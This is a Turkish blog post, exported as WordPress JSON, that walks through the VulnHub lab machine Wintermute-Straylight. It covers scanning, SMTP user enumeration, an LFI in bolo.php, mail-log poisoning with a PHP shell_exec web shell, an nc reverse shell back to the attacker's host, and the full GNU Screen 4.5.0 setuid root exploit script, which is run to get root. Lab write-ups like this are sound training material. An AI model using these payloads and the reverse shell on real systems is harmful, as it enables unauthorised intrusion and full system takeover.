{"id":1223,"date":"2021-06-21T17:39:24","date_gmt":"2021-06-21T17:39:24","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1223"},"modified":"2021-06-21T17:42:45","modified_gmt":"2021-06-21T17:42:45","slug":"wintermute-1-part-1","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/06\/21\/wintermute-1-part-1\/","title":{"rendered":"WINTERMUTE: 1 – Part 1"},"content":{"rendered":"

Makine Hakk\u0131nda Bilgiler<\/h2>\n

A\u00e7\u0131klama:<\/strong>
\nOCSP tarz\u0131 bir makine serisi oldu\u011fu yaz\u0131lm\u0131\u015f. Ayr\u0131ca 2 adet VM gelmektedir. Bu seride Wintermute-Straylight \u00e7\u00f6z\u00fclecektir.<\/p>\n

Vulnhub Sayfas\u0131:<\/strong>
\nhttps:\/\/www.vulnhub.com\/entry\/wintermute-1,239\/<\/a><\/p>\n

\u0130ndirme Sayfas\u0131:<\/strong>
\nhttps:\/\/download.vulnhub.com\/wintermute\/Wintermute-v1.zip<\/a><\/p>\n

Walkthrough<\/h2>\n

Makinenin ip adresini tespit edelim.
\nNot:<\/strong> \u00e7\u00f6z\u00fcm esnas\u0131nda bir ka\u00e7 kere VM'i crash ettim. \u0130lk IP tespitim 192.168.56.101<\/strong> olmas\u0131na kar\u015f\u0131n daha sonras\u0131nda makine 192.168.56.107<\/strong>ipsini ald\u0131. Yani iki ip'de asl\u0131nda ayn\u0131 makineye ait. Kafan\u0131z kar\u0131\u015fmas\u0131n \ud83d\ude42<\/p>\n

\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/wintermunute\/stray]\n\u2514\u2500# arp-scan -l\nInterface: eth0, type: EN10MB, MAC: 08:00:27:0e:34:8d, IPv4: 192.168.56.104\nStarting arp-scan 1.9.7 with 256 hosts (https:\/\/github.com\/royhills\/arp-scan)\n192.168.56.1    0a:00:27:00:00:14       (Unknown: locally administered)\n192.168.56.100  08:00:27:72:b8:27       PCS Systemtechnik GmbH\n192.168.56.101  08:00:27:79:7c:34       PCS Systemtechnik GmbH\n192.168.56.101  08:00:27:34:e2:64       PCS Systemtechnik GmbH (DUP: 2)\n192.168.56.102  08:00:27:79:7c:34       PCS Systemtechnik GmbH\n192.168.56.102  08:00:27:34:e2:64       PCS Systemtechnik GmbH (DUP: 2)\n192.168.56.103  08:00:27:24:a1:52       PCS Systemtechnik GmbH\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/wintermunute\/stray]\n\u2514\u2500# ifconfig eth0                                                                                                                                                                                                                        1 \u2a2f\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n        inet 192.168.56.104  netmask 255.255.255.0  broadcast 192.168.56.255\n        inet6 fe80::a00:27ff:fe0e:348d  prefixlen 64  scopeid 0x20<link>\n        ether 08:00:27:0e:34:8d  txqueuelen 1000  (Ethernet)\n        RX packets 13  bytes 2900 (2.8 KiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 526  bytes 32924 (32.1 KiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n<\/code><\/pre>\n
nmap taramas\u0131 ile devam edelim...<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ nmap -p- -A -T4 192.168.56.101\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-21 10:26 EDT\nmass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers\nNmap scan report for 192.168.56.101\nHost is up (0.0052s latency).\nNot shown: 65532 closed ports\nPORT     STATE SERVICE            VERSION\n25\/tcp   open  smtp               Postfix smtpd\n|_smtp-commands: straylight, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, \n| ssl-cert: Subject: commonName=straylight\n| Subject Alternative Name: DNS:straylight\n| Not valid before: 2018-05-12T18:08:02\n|_Not valid after:  2028-05-09T18:08:02\n|_ssl-date: TLS randomness does not represent time\n80\/tcp   open  http               Apache httpd 2.4.25 ((Debian))\n|_http-server-header: Apache\/2.4.25 (Debian)\n|_http-title: Night City\n3000\/tcp open  hadoop-tasktracker Apache Hadoop\n| hadoop-datanode-info: \n|_  Logs: submit\n| hadoop-tasktracker-info: \n|_  Logs: submit\n| http-title: Welcome to ntopng\n|_Requested resource was \/lua\/login.lua?referer=\/\n|_http-trane-info: Problem with XML parsing of \/evox\/about\nService Info: Host:  straylight\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 13.27 seconds\n<\/code><\/pre>\n
\u0130nternet sayfalar\u0131n\u0131 ziyaret etti\u011fimde 3000 portta \u00e7al\u0131\u015fan hadoop'ta dashboard ekran\u0131nda bir path yakalad\u0131m. B\u00f6ylece http:\/\/192.168.56.101\/turing-bolo\/<\/a><\/strong> adresine ula\u015fabildim.
\nBu sayfada incelemeler yapt\u0131ktan sonra http:\/\/192.168.56.105\/turing-bolo\/bolo.php?bolo<\/a>=<\/strong> adresinde lfi olabilece\u011fini d\u00fc\u015f\u00fcnd\u00fcm. Daha \u00f6ncesinde kendi yazd\u0131\u011f\u0131m lfi-project arac\u0131yla arka planda denemeler yapmas\u0131 i\u00e7in sald\u0131r\u0131y\u0131 ba\u015flatt\u0131m ve bingo! http:\/\/192.168.56.105\/turing-bolo\/bolo.php?bolo=\/var\/log\/mail<\/a><\/strong> adresinde mail loglar\u0131n\u0131 okuyabiliyorum.<\/p>\n
SMTP'nin a\u00e7\u0131k oldu\u011funu g\u00f6rd\u00fcm ve hemen bir mail atma i\u015flemi ger\u00e7ekle\u015ftirdim. \u0130lk ba\u015fta kullan\u0131c\u0131 tespiti yapt\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# \/usr\/share\/legion\/scripts\/smtp-user-enum.pl -M RCPT -U \/usr\/share\/metasploit-framework\/data\/wordlists\/unix_users.txt -t 192.168.56.107\nStarting smtp-user-enum v1.2 ( http:\/\/pentestmonkey.net\/tools\/smtp-user-enum )\n\n ----------------------------------------------------------\n|                   Scan Information                       |\n ----------------------------------------------------------\n\nMode ..................... RCPT\nWorker Processes ......... 5\nUsernames file ........... \/usr\/share\/metasploit-framework\/data\/wordlists\/unix_users.txt\nTarget count ............. 1\nUsername count ........... 168\nTarget TCP port .......... 25\nQuery timeout ............ 5 secs\nTarget domain ............ \n\n######## Scan started at Mon Jun 21 13:31:23 2021 #########\n192.168.56.107: _apt exists\n192.168.56.107: backup exists\n192.168.56.107: bin exists\n192.168.56.107: daemon exists\n192.168.56.107: games exists\n192.168.56.107: gnats exists\n192.168.56.107: irc exists\n192.168.56.107: list exists\n192.168.56.107: lp exists\n192.168.56.107: man exists\n192.168.56.107: mail exists\n192.168.56.107: messagebus exists\n192.168.56.107: mysql exists\n192.168.56.107: nobody exists\n192.168.56.107: news exists\n192.168.56.107: postfix exists\n192.168.56.107: postgres exists\n192.168.56.107: postmaster exists\n192.168.56.107: proxy exists\n192.168.56.107: root exists\n192.168.56.107: ROOT exists\n192.168.56.107: sync exists\n192.168.56.107: sys exists\n192.168.56.107: systemd-bus-proxy exists\n192.168.56.107: systemd-network exists\n192.168.56.107: systemd-timesync exists\n192.168.56.107: systemd-resolve exists\n192.168.56.107: uucp exists\n192.168.56.107: www-data exists\n######## Scan completed at Mon Jun 21 13:31:23 2021 #########\n29 results.\n\n168 queries in 1 seconds (168.0 queries \/ sec)\n<\/code><\/pre>\n
Evet art\u0131k mail atabiliriz.
\n\u00d6nce normal bir mail att\u0131m ve lfi ile okudu\u011fumda a\u015fa\u011f\u0131daki html sonucu geldi.<\/p>\n
<html>\n<style>\n.row {\n  display: flex;\n}\n\n.column {\n  flex: 33.33%;\n  padding: 5px;\n}\n\nbody {\n    color: #ff7614;\n}\n<\/style>\n\n<body style="background-color:#3d3d3d;">\n<i>Sponsored by:<\/i> <b style="color:cyan;">Hosaka - <i>"Break the ICE" <\/i><\/b><br\/>\n<img src="c7.png"> <br\/><br\/>\n*********************************************************************\n*********************************************************************\n<br\/>\nJul  1 19:10:42 straylight postfix\/postfix-script[1782]: stopping the Postfix mail system\nJul  1 19:10:42 straylight postfix\/master[716]: terminating on signal 15\nJul  1 19:10:43 straylight postfix\/postfix-script[1945]: starting the Postfix mail system\nJul  1 19:10:43 straylight postfix\/master[1947]: daemon started -- version 3.1.8, configuration \/etc\/postfix\nJul  3 20:26:50 straylight postfix\/postfix-script[732]: starting the Postfix mail system\nJul  3 20:26:50 straylight postfix\/master[734]: daemon started -- version 3.1.8, configuration \/etc\/postfix\nJun 21 09:38:49 straylight postfix\/postfix-script[817]: starting the Postfix mail system\nJun 21 09:38:49 straylight postfix\/master[819]: daemon started -- version 3.1.8, configuration \/etc\/postfix\nJun 21 09:39:59 straylight postfix\/smtpd[1009]: connect from unknown[192.168.56.104]\nJun 21 09:40:41 straylight postfix\/smtpd[1009]: 796F25380: client=unknown[192.168.56.104]\nJun 21 09:40:46 straylight postfix\/cleanup[1051]: 796F25380: message-id=<>\nJun 21 09:40:46 straylight postfix\/qmgr[823]: 796F25380: from=<kuday @straylight>, size=150, nrcpt=1 (queue active)\nJun 21 09:40:46 straylight postfix\/local[1054]: 796F25380: to=<root@straylight>, orig_to=<root>, relay=local, delay=9.9, delays=9.9\/0.01\/0\/0.01, dsn=2.0.0, status=sent (delivered to mailbox)\nJun 21 09:40:46 straylight postfix\/qmgr[823]: 796F25380: removed\nJun 21 09:45:47 straylight postfix\/smtpd[1009]: timeout after END-OF-MESSAGE from unknown[192.168.56.104]\nJun 21 09:45:47 straylight postfix\/smtpd[1009]: disconnect from unknown[192.168.56.104] helo=1 mail=1 rcpt=1 data=1 commands=4\n\n<\/body>\n<\/html><\/code><\/pre>\n
Harika LFI \u00e7al\u0131\u015f\u0131yor hadi reverse alal\u0131m.<\/p>\n
\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# nc 192.168.56.107 25\n220 straylight ESMTP Postfix (Debian\/GNU)\nHELO kuday\n250 straylight\nMAIL FROM: "kuday <?php echo shell_exec($_GET['cmd']); ?>"\n250 2.1.0 Ok\nRCPT TO: root\n250 2.1.5 Ok\nDATA\n354 End data with <CR><LF>.<CR><LF>\n.\n250 2.0.0 Ok: queued as 796F25380\n\n500 5.5.2 Error: bad syntax\n421 4.4.2 straylight Error: timeout exceeded\n<\/code><\/pre>\n
Daha sonras\u0131nda view-source:http:\/\/192.168.56.107\/turing-bolo\/bolo.php?bolo=\/var\/log\/mail&cmd=woami&cmd=nc%20192.168.56.104%201822%20-e%20\/bin\/bash<\/a><\/strong> ile reverse ald\u0131m. Her zaman yapt\u0131\u011f\u0131m enum scriptini \u00e7al\u0131\u015ft\u0131rd\u0131m ve suid bitleri etkin screen dosyas\u0131n\u0131 buldum. OSWP g\u00fcnlerim akl\u0131ma geldi...
\nBununla ilgili internette exploit arad\u0131m.<\/p>\n
---\n[*] fst010 Binaries with setuid bit........................................ yes!\n---\n\/bin\/su\n\/bin\/umount\n\/bin\/mount\n\/bin\/screen-4.5.0\n\/bin\/ping\n\/usr\/bin\/gpasswd\n\/usr\/bin\/chsh\n\/usr\/bin\/chfn\n\/usr\/bin\/passwd\n\/usr\/bin\/newgrp\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/openssh\/ssh-keysign\n---\n[!] fst020 Uncommon setuid binaries........................................ yes!\n---\n\/bin\/screen-4.5.0\n---\n<\/code><\/pre>\n
\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# searchsploit screen local priv\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\n Exploit Title                                                                                                                                                                                             |  Path\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nGNU Screen 4.5.0 - Local Privilege Escalation                                                                                                                                                              | linux\/local\/41154.sh\nGNU Screen 4.5.0 - Local Privilege Escalation (PoC)                                                                                                                                                        | linux\/local\/41152.txt\nLeague of Legends Screensaver - Insecure File Permissions Privilege Escalation                                                                                                                             | windows\/local\/39903.txt\nLeague of Legends Screensaver - Unquoted Service Path Privilege Escalation                                                                                                                                 | windows\/local\/39902.txt\nMicrosoft Windows NT 4.0\/SP1\/SP2\/SP3\/SP4 \/ NT 3.5.1\/SP1\/SP2\/SP3\/SP4\/SP5 - Screensaver                                                                                                                      | windows\/local\/19359.txt\nSolaris 11.4 - xscreensaver Privilege Escalation                                                                                                                                                           | solaris\/local\/47529.txt\nSolaris xscreensaver 11.4 - Privilege Escalation                                                                                                                                                           | solaris\/local\/47509.txt\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nShellcodes: No Results\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# locate linux\/local\/41154.sh\n\/usr\/share\/exploitdb\/exploits\/linux\/local\/41154.sh\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# cat \/usr\/share\/exploitdb\/exploits\/linux\/local\/41154.sh\n#!\/bin\/bash\n# screenroot.sh\n# setuid screen v4.5.0 local root exploit\n# abuses ld.so.preload overwriting to get root.\n# bug: https:\/\/lists.gnu.org\/archive\/html\/screen-devel\/2017-01\/msg00025.html\n# HACK THE PLANET\n# ~ infodox (25\/1\/2017) \necho "~ gnu\/screenroot ~"\necho "[+] First, we create our shell and library..."\ncat << EOF > \/tmp\/libhax.c\n#include <stdio.h>\n#include <sys\/types.h>\n#include <unistd.h>\n__attribute__ ((__constructor__))\nvoid dropshell(void){\n    chown("\/tmp\/rootshell", 0, 0);\n    chmod("\/tmp\/rootshell", 04755);\n    unlink("\/etc\/ld.so.preload");\n    printf("[+] done!\\n");\n}\nEOF\ngcc -fPIC -shared -ldl -o \/tmp\/libhax.so \/tmp\/libhax.c\nrm -f \/tmp\/libhax.c\ncat << EOF > \/tmp\/rootshell.c\n#include <stdio.h>\nint main(void){\n    setuid(0);\n    setgid(0);\n    seteuid(0);\n    setegid(0);\n    execvp("\/bin\/sh", NULL, NULL);\n}\nEOF\ngcc -o \/tmp\/rootshell \/tmp\/rootshell.c\nrm -f \/tmp\/rootshell.c\necho "[+] Now we create our \/etc\/ld.so.preload file..."\ncd \/etc\numask 000 # because\nscreen -D -m -L ld.so.preload echo -ne  "\\x0a\/tmp\/libhax.so" # newline needed\necho "[+] Triggering..."\nscreen -ls # screen itself is setuid, so... \n\/tmp\/rootshell                                                                                                                                                                                                                                             \n<\/code><\/pre>\n
Buradaki talimalar\u0131n hepsini ger\u00e7ekle\u015ftirdim.<\/p>\n
www-data@straylight:\/tmp$ wget http:\/\/192.168.56.104:8000\/libhax.c\nwget http:\/\/192.168.56.104:8000\/libhax.c\n--2021-06-21 10:15:53--  http:\/\/192.168.56.104:8000\/libhax.c\nConnecting to 192.168.56.104:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 252 [text\/x-csrc]\nSaving to: 'libhax.c'\n\nlibhax.c            100%[===================>]     252  --.-KB\/s    in 0s      \n\n2021-06-21 10:15:53 (43.8 MB\/s) - 'libhax.c' saved [252\/252]\n\nwww-data@straylight:\/tmp$ wget http:\/\/192.168.56.104:8000\/rootshell.c\nwget http:\/\/192.168.56.104:8000\/rootshell.c\n--2021-06-21 10:16:15--  http:\/\/192.168.56.104:8000\/rootshell.c\nConnecting to 192.168.56.104:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 134 [text\/x-csrc]\nSaving to: 'rootshell.c'\n\nrootshell.c         100%[===================>]     134  --.-KB\/s    in 0s      \n\n2021-06-21 10:16:15 (36.6 MB\/s) - 'rootshell.c' saved [134\/134]\n\nwww-data@straylight:\/tmp$ \n\nwww-data@straylight:\/tmp$ ls\nls\nlibhax.c  lse.sh  rootshell.c  screens\nwww-data@straylight:\/tmp$ cat rootshell.c\ncat rootshell.c\n#include <stdio.h>\nint main(void){\n    setuid(0);\n    setgid(0);\n    seteuid(0);\n    setegid(0);\n    execvp("\/bin\/sh", NULL, NULL);\n}\nwww-data@straylight:\/tmp$ cat libhax.c\ncat libhax.c\n#include <stdio.h>\n#include <sys\/types.h>\n#include <unistd.h>\n__attribute__ ((__constructor__))\nvoid dropshell(void){\n    chown("\/tmp\/rootshell", 0, 0);\n    chmod("\/tmp\/rootshell", 04755);\n    unlink("\/etc\/ld.so.preload");\n    printf("[+] done!\\n");\n}\nwww-data@straylight:\/tmp$ gcc -fPIC -shared -ldl -o \/tmp\/libhax.so \/tmp\/libhax.c\n\/tmp\/libhax.c: In function 'dropshell':\n\/tmp\/libhax.c:7:5: warning: implicit declaration of function 'chmod' [-Wimplicit-function-declaration]\n     chmod("\/tmp\/rootshell", 04755);\n     ^~~~~\nwww-data@straylight:\/tmp$ gcc -o \/tmp\/rootshell \/tmp\/rootshell.c\ngcc -o \/tmp\/rootshell \/tmp\/rootshell.c\n\/tmp\/rootshell.c: In function 'main':\n\/tmp\/rootshell.c:3:5: warning: implicit declaration of function 'setuid' [-Wimplicit-function-declaration]\n     setuid(0);\n     ^~~~~~\n\/tmp\/rootshell.c:4:5: warning: implicit declaration of function 'setgid' [-Wimplicit-function-declaration]\n     setgid(0);\n     ^~~~~~\n\/tmp\/rootshell.c:5:5: warning: implicit declaration of function 'seteuid' [-Wimplicit-function-declaration]\n     seteuid(0);\n     ^~~~~~~\n\/tmp\/rootshell.c:6:5: warning: implicit declaration of function 'setegid' [-Wimplicit-function-declaration]\n     setegid(0);\n     ^~~~~~~\n\/tmp\/rootshell.c:7:5: warning: implicit declaration of function 'execvp' [-Wimplicit-function-declaration]\n     execvp("\/bin\/sh", NULL, NULL);\n     ^~~~~~\nwww-data@straylight:\/tmp$ cd \/etc\ncd \/etc\nwww-data@straylight:\/etc$ unmask 000\nunmask 000\nbash: unmask: command not found\nwww-data@straylight:\/etc$ screen -D -m -L ld.so.preload echo -ne "\\x0a\/tmp\/libhax.so"\nx.so"n -D -m -L ld.so.preload echo -ne "\\x0a\/tmp\/libhax\nwww-data@straylight:\/etc$ screen -ls\nscreen -ls\n' from \/etc\/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.\n[+] done!\nNo Sockets found in \/tmp\/screens\/S-www-data.\n\nwww-data@straylight:\/etc$ \/tmp\/rootshell\n\/tmp\/rootshell\n# id\nid\nuid=0(root) gid=0(root) groups=0(root),33(www-data)\n<\/code><\/pre>\n
Harika!<\/p>\n
cd \/root\n# ls\nls\nflag.txt  note.txt  scripts\n# cat flag.txt\ncat flag.txt\n5ed185fd75a8d6a7056c96a436c6d8aa\n# cat note.txt\ncat note.txt\nDevs,\n\nLady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her interact w\/ the AI via a web-based GUI.\n\nThe engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access on the Freeside network. It is within out internal admin network, but still, it should be off the network completely. For the sake of humanity, user access should only be allowed via the physical console...who knows what this thing can do.\n\nAnyways, we've deployed the war file on tomcat as ordered - located here:\n\n\/struts2_2.3.15.1-showcase\n\nIt's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure this thing.\n\nRegards,\n\nBob Laugh\nTuring Systems Engineer II\nFreeside\/\/Straylight\/\/Ops5\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: OCSP tarz\u0131 bir makine serisi oldu\u011fu yaz\u0131lm\u0131\u015f. Ayr\u0131ca 2 adet VM gelmektedir. Bu seride Wintermute-Straylight \u00e7\u00f6z\u00fclecektir. Vulnhub Sayfas\u0131: https:\/\/www.vulnhub.com\/entry\/wintermute-1,239\/ \u0130ndirme Sayfas\u0131:…<\/p>\n
Devam\u0131n\u0131 okuWINTERMUTE: 1 – Part 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[194,523,524],"class_list":["post-1223","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-lfi","tag-screen","tag-smtp","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1223","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1223"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1223\/revisions"}],"predecessor-version":[{"id":1226,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1223\/revisions\/1226"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1223"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1223"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1223"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}